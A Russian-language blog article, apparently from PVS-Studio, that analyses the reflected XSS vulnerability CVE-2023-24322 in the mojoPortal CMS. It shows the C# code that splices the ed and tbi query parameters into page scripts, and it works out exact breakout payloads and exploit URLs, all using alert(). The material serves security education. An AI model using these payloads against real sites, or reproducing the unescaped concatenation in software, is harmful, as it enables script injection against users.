
В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C#. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов.
Что такое cross-site scripting (XSS)?
Примечание. Можете пропустить этот раздел, если уже знакомы с основами XSS.
XSS (cross-site scripting) — уязвимость веб-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript-кода и похитить данные или выполнить другую вредоносную логику.
Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования.
Допустим, есть JS-скрипт, который извлекает из строки запроса значение параметра name и приветствует пользователя на веб-странице:
<script> var urlParams = new URLSearchParams(window.location.search); var nameParam = urlParams.get("name"); var name = nameParam ? nameParam : "stranger"; document.write('<div>Hello '+ name + '!</div>'); </script>
Выполняем запрос вида XSSExample.html?name=John и получаем ожидаемый ответ на странице — "Hello John!".
Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен.
Пример запроса:
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
Результат:

Нам удалось провести инъекцию кода. Этот дефект безопасности называется отражённой XSS (reflected XSS). Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице (например, кликнув по вредоносной ссылке). Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS.
Разбор XSS в CMS mojoPortal (CVE-2023-24322)
От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal. mojoPortal — это CMS, написанная на C# с использованием ASP.NET. Код проекта доступен на GitHub, а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии 2.7.0.0.
Рассматриваемая XSS-уязвимость имеет идентификатор CVE-2023-24322: A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.
Из описания достаём несколько важных фактов:
- уязвимость находится на странице FileDialog.aspx;
- эксплуатировать дефект безопасности можно через параметры запроса ed и tbi.
Что первым делом приходит в голову при попытке проверить XSS? Наверное, передать через уязвимый параметр данные вида <script>alert(0)</script>. 🙂
Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт.
Запись в параметр ed не приводит к видимым результатам:

А вот если ту же строку передать через параметр tbi, то содержимое страницы изменится интересным образом:

Однако это всё равно не то, чего мы ожидали — всплывающего окошка (результат вызова alert) не появилось.
Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса.
Общая логика
Посмотрим на код и попробуем понять, что объединяет параметры ed и tbi, после чего проанализируем обработку каждого из них.
Начнём с метода, который обрабатывает событие загрузки страницы FileDialog.aspx — Page_Load:
protected void Page_Load(object sender, EventArgs e) { LoadSettings(); if (fileSystem == null) { return; } PopulateLabels(); SetupScripts(); }
В первую очередь нас интересует логика метода LoadSettings — в нём значения параметров ed и tbi записываются в поля editorType и clientTextBoxId соответственно.
public partial class FileDialog : Page { private string editorType = string.Empty; private string clientTextBoxId = string.Empty; .... private void LoadSettings() { .... if (Request.QueryString["ed"] != null) { editorType = Request.QueryString["ed"]; } .... if (Request.QueryString["tbi"] != null) { clientTextBoxId = Request.QueryString["tbi"]; } .... } .... }
Возвращаемся в Page_Load:
protected void Page_Load(object sender, EventArgs e) { LoadSettings(); if (fileSystem == null) { return; } PopulateLabels(); SetupScripts(); }
Проверка fileSystem == null даёт false, а метод PopulateLabels для нас не интересен. Так что посмотрим на тело SetupScripts:
private void SetupScripts() { SetupMainScript(); SetupjQueryFileTreeScript(); SetupClearFileInputScript(); }
Здесь нас интересуют 2 метода: SetupMainScript и SetupjQueryFileTreeScript. Немного позже вы поймёте, почему.
Начнём с метода SetupMainScript:
private void SetupMainScript() { switch (editorType) { case "tmc": SetupTinyMce(); break; case "ck": SetupCKeditor(); break; case "fck": SetupFCKeditor(); break; default: SetupDefaultScript(); break; } }
Ага, switch по знакомому полю — editorType (параметр ed). Меняя значение параметра, мы влияем на логику исполнения кода. Сейчас нас интересует default-секция и вызов метода SetupDefaultScript:
//this is used by /Controls/FileBrowserTextBoxExtender.cs private void SetupDefaultScript() { btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; "); StringBuilder script = new StringBuilder(); script.Append("\n<script type=\"text/javascript\">"); script.Append("function fbSubmit () {"); if(browserType == "folder") { script.Append( "var URL = document.getElementById('" + hdnFolder.ClientID + "').value; "); } else { script.Append( "var URL = document.getElementById('" + hdnFileUrl.ClientID + "').value; "); } //script.Append("alert(URL);"); script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');"); //script.Append("window.close();"); //script.Append("window.opener.focus();"); script.Append("}"); script.Append("\n</script>"); this.Page .ClientScript .RegisterClientScriptBlock(typeof(Page), "fbsubmit", script.ToString()); }
Интересно. Метод постепенно записывает JavaScript-код в переменную script, после чего регистрирует полученный скрипт через вызов метода RegisterClientScriptBlock. При этом в скрипт подставляется и значение поля clientTextBoxId, соответствующее параметру tbi.
Похожая история происходит и в методе SetupjQueryFileTreeScript, который я упоминал ранее. Метод также формирует и регистрирует скрипт, используя значение поля editorType (соответствует параметру ed).
Ниже привожу сокращённое тело метода SetupjQueryFileTreeScript, так как он достаточно объёмный. Код целиком можно посмотреть по ссылке.
private void SetupjQueryFileTreeScript() { .... StringBuilder script = new StringBuilder(); script.Append("\n<script type=\"text/javascript\">"); .... script.Append( "var returnUrl = encodeURIComponent('" + navigationRoot + "/Dialog/FileDialog.aspx?ed=" + editorType + "&type=" + browserType + "&dir=' + selDir) ; "); .... script.Append("\n</script>"); this.Page .ClientScript .RegisterStartupScript( typeof(Page), "jqftinstance", script.ToString()); }
Давайте повторим ещё раз, так как это важный момент.
Оба рассмотренных метода — SetupDefaultScript и SetupjQueryFileTreeScript — имеют структуру общего вида и используют значения параметров HTTP-запроса tbi и ed для составления скрипта.
В обобщённом (и упрощённом) виде код методов выглядит так:
void SetupScript() { StringBuilder script = new StringBuilder(); script.Append("\n<script type=\"text/javascript\">"); script.Append(....); // tbi and ed values are appended to the script .... script.Append("\n</script>"); this.Page .RegisterScript(typeof(Page), ...., script.ToString()); }
Наша задача — попробовать "сломать" скрипт, записываемый в переменную script. Если всё удастся, мы изменим логику генерируемого скрипта и увидим результат инъекции кода.
Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными. Рассмотрим каждый из них по отдельности.
Примечание о форматировании скриптов. В статье я отформатировал JS-скрипты для удобства чтения. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:
<script type="text/javascript">function fbSubmit () { .... } </script>
Здесь можно посмотреть на этот же скрипт без сокращений с оригинальным форматированием.
Помните про эту особенность, так как она влияет на эксплойт.
Эксплойт с использованием параметра tbi
Скрипт с использованием параметра tbi выглядит попроще — с него и начнём.
Выполним запрос следующего вида:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
Тогда JS-код, который генерируется в методе SetupDefaultScript, может выглядеть так:
<script type = "text/javascript"> function fbSubmit() { var URL = document.getElementById('hdnFileUrl').value; top.window.SetUrl(URL, 'TestPayload'); } </script>
Обратите внимание на второй аргумент метода SetUrl: именно туда попали наши данные, будучи обёрнутыми в кавычки.
Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода. Для этого эксплойт должен решить ряд задач:
- "закрыть" второй аргумент функции SetUrl;
- "закрыть" вызов функции SetUrl;
- выйти за пределы тела функции fbSubmit;
- провести инъекцию кода;
- закомментировать оставшийся кусок изначального кода (тот код, который закрывает шаблон подстановки).
Все поставленные задачи должна решить строка следующего вида:
TestPayload');}alert('You have been hacked via XSS');//
Разберём, за что отвечают её части:
- TestPayload’ "закрывает" аргумент функции;
- ); "закрывает" вызов функции SetUrl;
- } "закрывает" тело функции fbSubmit;
- alert(‘You have been hacked via XSS’); — основная логика инъекции;
- // — комментирует часть исходного шаблона, которая осталась после подстановки — ‘);}.
Теперь проверим наше предположение. Для этого выполним такой запрос:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
Получаем ожидаемый результат:

Давайте посмотрим, как стал выглядеть генерируемый JS-код при таком запросе:
<script type = "text/javascript"> function fbSubmit() { var URL = document.getElementById('hdnFileUrl').value; top.window.SetUrl(URL, 'TestPayload'); } alert('You have been hacked via XSS'); //');} </script>
Как видно, эксплойт решил все поставленные задачи: с его помощью мы смогли выйти за рамки функции и успешно внедрить код.
Что ж, здорово! Мы поняли, как можно использовать параметр tbi, чтобы эксплуатировать XSS-уязвимость. Теперь переходим ко второму уязвимому параметру — ed.
Эксплойт с использованием параметра ed
Принцип составления эксплойта для параметра ed аналогичен tbi.
Напомню, что интересующий нас JS-код, в который подставляется значение параметра ed, генерируется в методе SetupjQueryFileTreeScript.
Выполним запрос следующего вида:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
Теперь посмотрим на то, какой скрипт будет сгенерирован. Код целиком можно посмотреть здесь, ниже привожу сокращённый вариант:
<script type="text/javascript"> .... $(document).ready(function () { .... $('#pnlFileTree').fileTree({ .... }, function (file) { .... var returnUrl = encodeURIComponent( 'http://localhost:56987/Dialog /FileDialog.aspx?ed=TestPayload&type=image&dir=' + selDir); .... }, function (folder) { .... }); }); .... </script>
Обратите внимание, что значение параметра ed — строка TestPayload — попала внутрь литерала.
Перед нами стоит задача, аналогичная той, что была в предыдущем случае. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции encodeURIComponent и выполнить инъекцию кода.
Эксплойт так же, как и в прошлый раз, должен решать несколько задач:
- "закрыть" аргумент функции encodeURIComponent;
- "закрыть" вызовы и тела функций;
- внедрить код;
- закомментировать "хвост" шаблона, который останется после внедрения логики.
Под все требования подходит строка следующего вида:
TestPayload');});});alert('You have been hacked via XSS');//
Смысл её составляющих уже должен быть понятен:
- TestPayload’ "закрывает" аргумент функции encodeURIComponent;
- ); "закрывает" вызов функции encodeURIComponent;
- });}); используется для того, чтобы закрыть тела внешних функций;
- alert(‘You have been hacked via XSS’); — основная логика инъекции кода;
- // служит для комментирования части исходного скрипта, которая осталась после подстановки.
Выполняем запрос следующего вида:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
Смотрим на результат:

На выходе получили точно то, что ожидали.
С указанным выше значением параметра сгенерированный JS-код принял такой вид (сокращённая версия, полная — здесь):
<script type = "text/javascript"> .... $(document).ready(function () { .... $('#pnlFileTree').fileTree({ .... }, function (file) { .... var returnUrl = encodeURIComponent( 'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload'); }); }); alert('You have been hacked via XSS'); //&type=image&dir=' + selDir .... </script>
Всё сработало так, как мы и ожидали: мы смогли выйти из тел функции и внедрить собственный код. Обратите внимание на то, как данные из нашего запроса встроились в скрипт и изменили его логику:

Как исправили код?
В текущей версии проекта файла FileDialog.aspx.cs, который и содержал уязвимости, нет. Предположу, что код переписали или попросту убрали.
Заключение
Мы разобрали, как XSS может выглядеть на практике. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:
- CVE-ID: CVE-2023-24322
- проект: mojoPortal v2.7.0.0
- суть уязвимости: возможность выполнить XSS на странице /Dialog/FileDialog.aspx при использовании параметров ed и tbi
- возможный эксплойт для ed: TestPayload’);});});alert(‘You have been hacked via XSS’);//
- возможный эксплойт для tbi: TestPayload’);}alert(‘You have been hacked via XSS’);//
Если эта статья понравилась, и хочется почитать ещё что-нибудь на тему безопасности, предлагаю полистать блог.
Если хотите проверить код своего проекта на дефекты безопасности (XSS, SQLi, XXE и т. п.), проанализируйте его с помощью PVS-Studio.
ссылка на оригинал статьи https://habr.com/ru/companies/pvs-studio/articles/738796/
Добавить комментарий